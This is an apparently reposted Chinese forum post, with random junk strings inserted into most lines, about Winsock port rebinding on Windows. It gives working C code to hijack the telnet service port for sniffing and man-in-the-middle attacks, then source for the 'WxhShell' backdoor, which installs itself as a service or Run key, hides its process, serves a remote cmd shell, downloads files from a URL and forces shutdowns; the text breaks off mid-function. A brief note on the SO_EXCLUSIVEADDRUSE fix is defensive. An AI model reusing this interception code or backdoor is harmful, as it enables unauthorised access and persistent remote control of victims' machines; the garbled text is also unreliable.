在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!L8q]]'XM s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
U3z23LgA as]M%|/-I saddr.sin_family = AF_INET;
BO4;S/ O `,xO~_
e> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
f|M^UHt8* K}cA%Y bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
g-wE(L !.X/(R7J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
717THci3Y Wz=&
0>Mm_ 这意味着什么?意味着可以进行如下的攻击:
D ka8[z7 N2U&TCc 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0?8>{!I _hyqHvP 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-&`_bf%M v0dzM/?* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
qbsod K<:%ofB"S 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
c5$DHT@N" HEbL'fw^s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>!@D^3PPA p<H_]|7$7U 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
1t^y?<) x}pH'S7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G#e]J;
\fEG5/s}T #include
kJJiDDL0;* #include
G-2~$ u #include
nvf5a-C+q #include
AV2Jl"1)z DWORD WINAPI ClientThread(LPVOID lpParam);
lY"l6.c int main()
U`=r.> {
j@(S7=^C6% WORD wVersionRequested;
%;ED}X DWORD ret;
HBR/" m WSADATA wsaData;
Z2m^yRQ( BOOL val;
8)eRm{ SOCKADDR_IN saddr;
U ->vk{v SOCKADDR_IN scaddr;
s=-?kcoJ2d int err;
6]%=q)oL[ SOCKET s;
rhQ+ylt8I SOCKET sc;
gh*k\0 int caddsize;
]gVA6B?&9 HANDLE mt;
hG.}>(VV DWORD tid;
<Tjhj* wVersionRequested = MAKEWORD( 2, 2 );
?OF$J|h err = WSAStartup( wVersionRequested, &wsaData );
QxLrpM"O if ( err != 0 ) {
Yb5@W/' printf("error!WSAStartup failed!\n");
VnSO>O return -1;
7F>]zrbK }
eA(\#+)X ` saddr.sin_family = AF_INET;
Ncbe{}<md O0z-jZ,]) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
h ChO ]}].Aq saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
NpZ'pBl saddr.sin_port = htons(23);
9ThsR&h3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
QxE%C {
guYP| printf("error!socket failed!\n");
-M6vg4gf return -1;
Gdb0e]Vt+ }
5)S;R, val = TRUE;
8aVQW_m} //SO_REUSEADDR选项就是可以实现端口重绑定的
#aC&!Rei{ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
iUh7eR9 {
uKXU.u*C printf("error!setsockopt failed!\n");
V.u^;gr3 return -1;
EH2): }
lshSRir //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
!gLJBp //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}0E@eL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
D[@-`F <ZZfN@6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
P;25F {
,?j!c* ret=GetLastError();
k7*-v/*S printf("error!bind failed!\n");
.aa7*e return -1;
DL~!
^fx }
lY`WEu listen(s,2);
"~=}& while(1)
2BO H8Mp9 {
gsQn@(; caddsize = sizeof(scaddr);
>BO!jv!a //接受连接请求
cp8w
_TPU sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
tQ;Fgv8Y! if(sc!=INVALID_SOCKET)
st "@kHQ3 {
OI)k0t^;D mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
7YTO{E6]d\ if(mt==NULL)
TTj] _R{n {
._x"b5C printf("Thread Creat Failed!\n");
: ciwh break;
>^9j>< Z }
!lEV^SQJs }
w\d1 CloseHandle(mt);
6I=d0m.io }
gPKO-Fsd" closesocket(s);
|Zn,|-iW WSACleanup();
mL}Wan return 0;
Iu~(SKr=|$ }
\J(~
Nv5! DWORD WINAPI ClientThread(LPVOID lpParam)
nSo.,72 {
2i6P<&@ SOCKET ss = (SOCKET)lpParam;
^v;8 (eF SOCKET sc;
]nIVP unsigned char buf[4096];
f~=e SOCKADDR_IN saddr;
}o
GMF~ long num;
su\Lxv
DWORD val;
Aj\m57e,6 DWORD ret;
>/GYw"KK //如果是隐藏端口应用的话,可以在此处加一些判断
mrE>o! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7[ kDc- saddr.sin_family = AF_INET;
C\C*@9=&x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
0""%@X]m saddr.sin_port = htons(23);
0\ j)!b if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cru&nH*O^ {
GF<SQHL, printf("error!socket failed!\n");
dXt@x8E return -1;
yyVJb3n5:! }
A#~CZQY^$ val = 100;
PL\4\dXB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
u?g;fh6 {
+)(
"!@ ret = GetLastError();
V^G+_#@,, return -1;
%7TG>tc }
)buy2#8UW if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[F *hjGLc} {
)u!}`UJ ret = GetLastError();
yq[CA`zVN return -1;
:oZ~&H5Q }
0#ePg6n if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`kOp9(Q{ {
i}:^<jDv? printf("error!socket connect failed!\n");
IU}g[OCu closesocket(sc);
]tK<[8Y closesocket(ss);
gavf$be
return -1;
g( eA? }
S^e e<%- while(1)
#{bT=:3a {
1@]gBv< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5X-d,8{w
_ //如果是嗅探内容的话,可以再此处进行内容分析和记录
H0lAu]~R_W //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
OOus*ooo2 num = recv(ss,buf,4096,0);
!Cm9DzG if(num>0)
n)]u|qq send(sc,buf,num,0);
ug`Jn&x! else if(num==0)
)hA)`hL
F break;
uhmSp+% num = recv(sc,buf,4096,0);
]mO7O+ if(num>0)
[py/\zkn send(ss,buf,num,0);
|2X+( F Ed else if(num==0)
]'i}}/}u2 break;
t_X=x`f }
Wzh#dO?7 closesocket(ss);
NydoX9 closesocket(sc);
NzID[8` return 0 ;
<^A1.o<GN }
c30kb ?O
e, t+WUz#i" ==========================================================
5@Xy) z QfU{W@!h 下边附上一个代码,,WXhSHELL
Kv\uBMJNW P<xCg ==========================================================
2mvp|<" }cy<$=c#E_ #include "stdafx.h"
_3Q8R} 9[\$\l #include <stdio.h>
'F8:|g #include <string.h>
2I~a{:O #include <windows.h>
\G]vTK3 #include <winsock2.h>
qZ+^ND(I #include <winsvc.h>
W(*?rA- PP #include <urlmon.h>
/u'M7R dy0xz5N- #pragma comment (lib, "Ws2_32.lib")
y"0!7^ #pragma comment (lib, "urlmon.lib")
q&k?$rn .sPa${ #define MAX_USER 100 // 最大客户端连接数
Ba|76OBRJ #define BUF_SOCK 200 // sock buffer
(>x_fDv #define KEY_BUFF 255 // 输入 buffer
-f[95Z3} 0(!=N1l #define REBOOT 0 // 重启
G?{uR6s># #define SHUTDOWN 1 // 关机
I9r> 3? e#uF?v]O #define DEF_PORT 5000 // 监听端口
?pF uV`Zm }W R?n #define REG_LEN 16 // 注册表键长度
{W# VUB #define SVC_LEN 80 // NT服务名长度
9"k^:}8. =dI2j@}c // 从dll定义API
1|\/2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
w=75?3c7 F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
2SVJKX_V+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
z2A1h!Me typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
1:iT#~n K~>ESMZ5 // wxhshell配置信息
XF N4m # struct WSCFG {
V\o&{7! int ws_port; // 监听端口
ob.=QQQs
char ws_passstr[REG_LEN]; // 口令
w!^{Q'/,Q int ws_autoins; // 安装标记, 1=yes 0=no
PP)-g0^@ char ws_regname[REG_LEN]; // 注册表键名
iYxpIqWw char ws_svcname[REG_LEN]; // 服务名
5PCKBevV char ws_svcdisp[SVC_LEN]; // 服务显示名
gkDlh{ char ws_svcdesc[SVC_LEN]; // 服务描述信息
_"%-=^_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
a)Ca:p int ws_downexe; // 下载执行标记, 1=yes 0=no
B mxBbg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
APu cA char ws_filenam[SVC_LEN]; // 下载后保存的文件名
'&$xLZ8 ZiOL7#QWX };
h wfKgsm Vam4/6 // default Wxhshell configuration
okZDxg`6 struct WSCFG wscfg={DEF_PORT,
6o/!H "xuhuanlingzhe",
dg]: JU 1,
-gKo@I "Wxhshell",
mC(q8%/; "Wxhshell",
o}K!p%5_ "WxhShell Service",
S+(-k0 "Wrsky Windows CmdShell Service",
Od:,r "Please Input Your Password: ",
#\fxU:z~r 1,
v81H!c.* "
http://www.wrsky.com/wxhshell.exe",
n$T'gX#5 "Wxhshell.exe"
<U()
*0
};
CwVORf,uA 42: 6=\ // 消息定义模块
;4 ON char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
gNG_,+=! char *msg_ws_prompt="\n\r? for help\n\r#>";
]1
OZY@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
r|tTDKGQ char *msg_ws_ext="\n\rExit.";
XZFM|=%X char *msg_ws_end="\n\rQuit.";
@eGJ_ J char *msg_ws_boot="\n\rReboot...";
2U;ImC1g char *msg_ws_poff="\n\rShutdown...";
tk
<R|i
char *msg_ws_down="\n\rSave to ";
eO:wx.PW IZkQmA= char *msg_ws_err="\n\rErr!";
-?$Hr\ char *msg_ws_ok="\n\rOK!";
z!GLug*j` \L:;~L/ char ExeFile[MAX_PATH];
?xuhN
G@ int nUser = 0;
J,k|_JO HANDLE handles[MAX_USER];
}XiV$[xHd int OsIsNt;
.UuCTH;6` n^AQ!wC SERVICE_STATUS serviceStatus;
2& l~8, SERVICE_STATUS_HANDLE hServiceStatusHandle;
zLxO\R!d "NamP\hj // 函数声明
[nam H a int Install(void);
X_eh+>D int Uninstall(void);
5 5_#?vw int DownloadFile(char *sURL, SOCKET wsh);
}t[?g)"M#- int Boot(int flag);
(0T6kD void HideProc(void);
VY5/C;0^h int GetOsVer(void);
KPOr8=Rc int Wxhshell(SOCKET wsl);
p=65L void TalkWithClient(void *cs);
!Z'x h + int CmdShell(SOCKET sock);
.*s1d)\: int StartFromService(void);
dt(#|8i% int StartWxhshell(LPSTR lpCmdLine);
M8BN'%S Ok=RhoZZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
CN$wlhs VOID WINAPI NTServiceHandler( DWORD fdwControl );
[y}0X^9,E ;r_YEPlZ // 数据结构和表定义
zMkjdjb SERVICE_TABLE_ENTRY DispatchTable[] =
l25E!E-'b {
=;9*gDf D {wscfg.ws_svcname, NTServiceMain},
n%>c4*t {NULL, NULL}
(gv1f };
7aJLC! ^$7Lmd.qI // 自我安装
N{u4 int Install(void)
lIg;>|'Z5& {
L)cy&"L| char svExeFile[MAX_PATH];
pUs s_3 HKEY key;
xi.L?"^/! strcpy(svExeFile,ExeFile);
pk*cch# R)3P"sGuN // 如果是win9x系统,修改注册表设为自启动
+|N!(H if(!OsIsNt) {
,[lS)`G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$vC!Us{z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8T:|~%Sw RegCloseKey(key);
n\#RI9#\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.&AS-">Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~L G). RegCloseKey(key);
8 ]N return 0;
?X1vU0c
}
uj_ OWre }
~@x@uY$5 }
Z)6gh{B08 else {
J1^6p*]GX R)AFaP | // 如果是NT以上系统,安装为系统服务
Ub%al
D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
o!`.LL% if (schSCManager!=0)
!}D!_z,)u {
+)#d+@- SC_HANDLE schService = CreateService
MOuI;EF (
"(6]K}k@ schSCManager,
xHv<pza: wscfg.ws_svcname,
'J (4arN wscfg.ws_svcdisp,
jJc?/1 jv SERVICE_ALL_ACCESS,
HG2i^y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
dF2 &{D"J SERVICE_AUTO_START,
ef\Pu\'U SERVICE_ERROR_NORMAL,
-0 [^w svExeFile,
]>NP?S
)R NULL,
7u"t4Or NULL,
2,c{Z$\kn NULL,
9Z,vpTE NULL,
!\Y85o>JU NULL
w`(EW>i );
rzH*| B0g if (schService!=0)
5eI3a!E]O {
/lKgaq. CloseServiceHandle(schService);
^mLZT* CloseServiceHandle(schSCManager);
;Ocih<4k strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
d&:ABI strcat(svExeFile,wscfg.ws_svcname);
~VZ)LQ'7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
p$XL|1G*?H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
fKzOt<wm RegCloseKey(key);
G 2]/g return 0;
_ECWS fZ }
%t&n%dhJ }
?\dY! CloseServiceHandle(schSCManager);
7]t$t3I` }
sgdxr!1?y }
w /$4
Rv+S ^u zJu( return 1;
!Pf_he }
&>UI { Y/1KvF4)k // 自我卸载
sW[8f
Z71 int Uninstall(void)
`A8nAgbe {
-4|\,=j HKEY key;
cXx?MF5 &n>\ +Q if(!OsIsNt) {
EQDsbG0x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c"w}<8
RegDeleteValue(key,wscfg.ws_regname);
[hs_HYqJ RegCloseKey(key);
TAbd[:2{F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
CeD O:J=, RegDeleteValue(key,wscfg.ws_regname);
c:0nOP RegCloseKey(key);
) -+u8# return 0;
{_0m0
8 }
=B9Ama }
`+_UG^aeW }
vA rM.Bu>b else {
jm1f,=R T/DKT1P- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
A`Vz5WB if (schSCManager!=0)
:kUZNw'Bi {
vtyk\e) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
iUl5yq if (schService!=0)
.4c* _$ {
8W$uw~|dw if(DeleteService(schService)!=0) {
tMxa:h;/x CloseServiceHandle(schService);
-1Acprr CloseServiceHandle(schSCManager);
3n;UXYJ% return 0;
hj@< wU }
.i[rd4MCK CloseServiceHandle(schService);
Ek|#P{! }
6/`$Y!.ub CloseServiceHandle(schSCManager);
{-*+G] }
(Zi(6 T\z }
kwRXNE(k]_ tz&'!n}
return 1;
h2g|D(u) }
X~ n=U4s}O $]IX11.m // 从指定url下载文件
4.|-?qG int DownloadFile(char *sURL, SOCKET wsh)
<[O8{9j {
QXZjsa_| HRESULT hr;
s`W\`w} char seps[]= "/";
CL{R.OA char *token;
~kUdHne( char *file;
XXsN)2 char myURL[MAX_PATH];
*-~B{2b< char myFILE[MAX_PATH];
aIV(&7KT4 07WZ w1(; strcpy(myURL,sURL);
a+!#cQl token=strtok(myURL,seps);
M)t d%<_ while(token!=NULL)
T|o[! @:, {
+b_g,RNs! file=token;
x<#Z3Kla token=strtok(NULL,seps);
Q2sX7
cE }
qLkn a ?;!d5Xuu GetCurrentDirectory(MAX_PATH,myFILE);
UELni,$ strcat(myFILE, "\\");
nN!/ strcat(myFILE, file);
Kbjt CI7 send(wsh,myFILE,strlen(myFILE),0);
CR*R'KX D% send(wsh,"...",3,0);
~|+!xh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
} LLnJl~Z if(hr==S_OK)
b0
))->&2 return 0;
B. Rc s else
p!^.;c return 1;
2 2K:[K DJ?kQ }
8s6~l.v r8\"'4B1 // 系统电源模块
`9QvokD int Boot(int flag)
P$z8TDCH {
6'6"Ogu%' HANDLE hToken;
5~Vra@iab: TOKEN_PRIVILEGES tkp;
`p`)D6 ~e,k71 if(OsIsNt) {
d&K2\n OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)SG+9!AbMZ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
MQc|j'vEY tkp.PrivilegeCount = 1;
fpbb <Ro tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'"C$E922 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
xE(VyyR if(flag==REBOOT) {
q{/>hvl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
v'Y)~Kv@! return 0;
pE{ZWW[@+ }
,H!E :k else {
L'k) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)rJ{}U:S return 0;
l$KC\$?%* }
5:(uD3] }
g3~e#vdz else {
a f[<[2pma if(flag==REBOOT) {
QI*Y7R~< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
v;.7-9c* return 0;
kL;sA'I:S }
[4uTp[U!r else {
*:r@-=M3= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;WX)g&19x return 0;
L{fKZ }
mY9^W2: }
t,$4J6 vt0XCUnK return 1;
{KJ !rT }
6 R}]RuFQ W]Z;=-CBr // win9x进程隐藏模块
HO ,z[6 void HideProc(void)
rUjK1A{V {
SaKaN#C IQ_2(8Kv HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}C1&}hZ if ( hKernel != NULL )
hES_JbX}] {
ssbvuTr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
LGx]z.30B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_:oB#-0
FreeLibrary(hKernel);
}3sj{:z{ }
Y;3DU1MG0 8[ return;
7UQFAt_r }
%00KOM: PveY8[i // 获取操作系统版本
c@d[HstBJ int GetOsVer(void)
^|yw)N]Q/ {
s=0z%~H
OSVERSIONINFO winfo;
-*8 |J; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
}Z5f5q GetVersionEx(&winfo);
k<p$BZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4/Ub%t- return 1;
-a:+ h\K else
o HqBNTyH return 0;
;0G+>&C8 }
9PXG*r|D Fd@n#DR ` // 客户端句柄模块
E ,5XX;| int Wxhshell(SOCKET wsl)
ut8v&i1? {
;&B;RUUnTO SOCKET wsh;
3F fS2we struct sockaddr_in client;
V8`o71p DWORD myID;
-xg$qvK 9
cU]@j}2 while(nUser<MAX_USER)
J^tLK T B {
)}QtK+Rq int nSize=sizeof(client);
x6Q,$B wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
r;}%} /IX if(wsh==INVALID_SOCKET) return 1;
LIfQh @=CN#D12 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=
GUgb2TAT if(handles[nUser]==0)
}7p`8? closesocket(wsh);
v x qsK else
eXo7_# nUser++;
d{^9` J' }
UI S\t^pJD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
fFu+P<?" ' S%?&4 return 0;
%M"rc4Xd }
V$U#'G>m [(Z{5gK // 关闭 socket
I8*_\Ez void CloseIt(SOCKET wsh)
QWL$F:9: {
mS)|i+5 closesocket(wsh);
^P30g2gv> nUser--;
vv0A5p8H ExitThread(0);
\09m
?;^ }
RsnKB/ 8T ?=_| // 客户端请求句柄
`[)
awP void TalkWithClient(void *cs)
Ph@hk0dgr/ {
~>8yJLZ.7 ZDHm@,d SOCKET wsh=(SOCKET)cs;
f(}?Sp_ char pwd[SVC_LEN];
Mr/;$O{ char cmd[KEY_BUFF];
YN.[KQ(! char chr[1];
~mAv)JK int i,j;
vjNP jz
CA2N% while (nUser < MAX_USER) {
4%k{vo5i {D6lSj if(wscfg.ws_passstr) {
)"W__U0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fpd4 v|( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
a=m4)tjk //ZeroMemory(pwd,KEY_BUFF);
?T.'
q i=0;
3zC<k2B while(i<SVC_LEN) {
p'SclH[ ~kHWh8\b: // 设置超时
0?@;zTE0 fd_set FdRead;
=3K}]3f struct timeval TimeOut;
ScN'|Ia.- FD_ZERO(&FdRead);
&lnr?y^ FD_SET(wsh,&FdRead);
ck0K^o v TimeOut.tv_sec=8;
MaMP7O|W TimeOut.tv_usec=0;
rQE:rVKVh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
B=vBJC) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
bF_SD\/ jP(|pz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
d v8q&_
pwd
=chr[0]; 2'>
if(chr[0]==0xd || chr[0]==0xa) { JDbRv'F:(
pwd=0; {|!>
{
break; 2%!yV~Z
} {,:yZ&(
i++; = Ob-'Syg>
} `i~kW
Y)V)g9
// 如果是非法用户,关闭 socket w|t}.u
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MS7rD%(,'
} %%uvia=e
4$~A%JN3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TwdY6E3`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >#u9W'@|
LH_VdLds
while(1) { j Wpm"C
Vt4KG+zm
ZeroMemory(cmd,KEY_BUFF); Ja4j7d1:
B>]4NF\)H9
// 自动支持客户端 telnet标准 M9C
v00&
j=0; Fy#y.jK9v
while(j<KEY_BUFF) { !xD$U/%c
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZovF]jf k
cmd[j]=chr[0]; ?^}
z
if(chr[0]==0xa || chr[0]==0xd) { Ef)v("'w
cmd[j]=0; zWO!z=
break; S{d]0
} )
dB?Ep|
j++; !-tP\%'
} (R^qY"H
2
= Z
/*
// 下载文件 DH9p1)L'
if(strstr(cmd,"http://")) { _&SST)Y|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); A>9IE(C_
if(DownloadFile(cmd,wsh)) >;s!X(6b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u{J\X$]
else lZ'ZL*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xd 5 vNmQn
} 'QOV! D
else { Z [Q jl*
3[*x'"Q;H
switch(cmd[0]) { k-jlYHsA
&P pb2
// 帮助 "=Xky,k
case '?': { '.gLqm}%
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )x&4 Q=
break; xofxE4.
} 2G&H[`
// 安装 8-5g6qAS
case 'i': { # A#,]XP
if(Install()) /ka "YU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r?%,#1|$$
else rds4eUxe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +*`>7m<^
break; k*u4N
} M+l~^E0Wj
// 卸载 P[K42mm
case 'r': { y F;KyY{
if(Uninstall()) "2_nN]%u-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %|(Cb!ySX
else =38c}(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
qZ<|A%WQ
break; a/Ik^:>m
} Nm{J=`
// 显示 wxhshell 所在路径 =a$7^d
case 'p': { ecdM+kP
char svExeFile[MAX_PATH]; &=[N{N?(
strcpy(svExeFile,"\n\r"); ?mbI6fYv
strcat(svExeFile,ExeFile); *r/o
\pyH
send(wsh,svExeFile,strlen(svExeFile),0); SO+J5,)HA
break; JWsOze8#
} dUc?>#TU
// 重启 BK 9+fO
case 'b': { dF+R
q|n{
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); undH{w=
if(Boot(REBOOT)) YgLHp /
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GswV/V+u
else { R+<M"LriR&
closesocket(wsh); N"Cd{3
ExitThread(0); WqRaD=R->;
} 5E!Wp[^
break; ?WBA:?=$58
} 9jJ:T$}
// 关机 AVO$R\1YR
case 'd': { {C'9?4&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7<zI'^l
if(Boot(SHUTDOWN)) Ksb55cp`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;\54(x}|K
else { z)fg>?AGr
closesocket(wsh); yP "D~u
ExitThread(0); ./_4D}
} ;~"#aL50fe
break; jc7NYoT:
} UNCI"Mjb
// 获取shell XQStlUw8+
case 's': { t@cImmh\T
CmdShell(wsh); /g\m7m)u
closesocket(wsh); !{S HlS
ExitThread(0); 'fka?lL
break; *n*po.Xr
} {SwvUWOf"
// 退出 CuAA)B j
case 'x': { V\/5H~L
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?UBhM,;XK
CloseIt(wsh); 1z-Q~m@@
break; I,7n-G_'
} oLc
// 离开 [J6q(}f
case 'q': { 4*?JU
v
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9t"/@CH{
closesocket(wsh); NaC}KI`
WSACleanup(); %-O[%Dy
exit(1); psM&r
break; JU!vVA_
} r!)jxIL\
} a+e8<fM yT
} 9._Osbp3P
WoDQg64
// 提示信息 ^ Iy'<J
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E-b3#\^:
} QvDD
} 4^{~MgQWK+
GcHZ&m4
return; WXX08"
} *6QmYq6c<
c n^z=?
// shell模块句柄 u= ydX
int CmdShell(SOCKET sock) o0FVVS l
{ u;H5p\zAzz
STARTUPINFO si; 6#(rWW"_
ZeroMemory(&si,sizeof(si)); ,H:{twc
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9Fh1rZD<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |YK4V(5x
PROCESS_INFORMATION ProcessInfo; !--A"
char cmdline[]="cmd"; r=:o$e
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "dFuQB
return 0; ]7
2wv#-
} a{!
8T
0RkiD8U5
// 自身启动模式 =Y<RG"]a&J
int StartFromService(void) nhI1`l&
{ UO8./%'
typedef struct t(\P8J
{ ~,O}wT6q
DWORD ExitStatus; &/{x7;e
DWORD PebBaseAddress; rRd8W}B
DWORD AffinityMask; "Rq)%o$Z
DWORD BasePriority;
{U7A&e0eW
ULONG UniqueProcessId; mqKr+
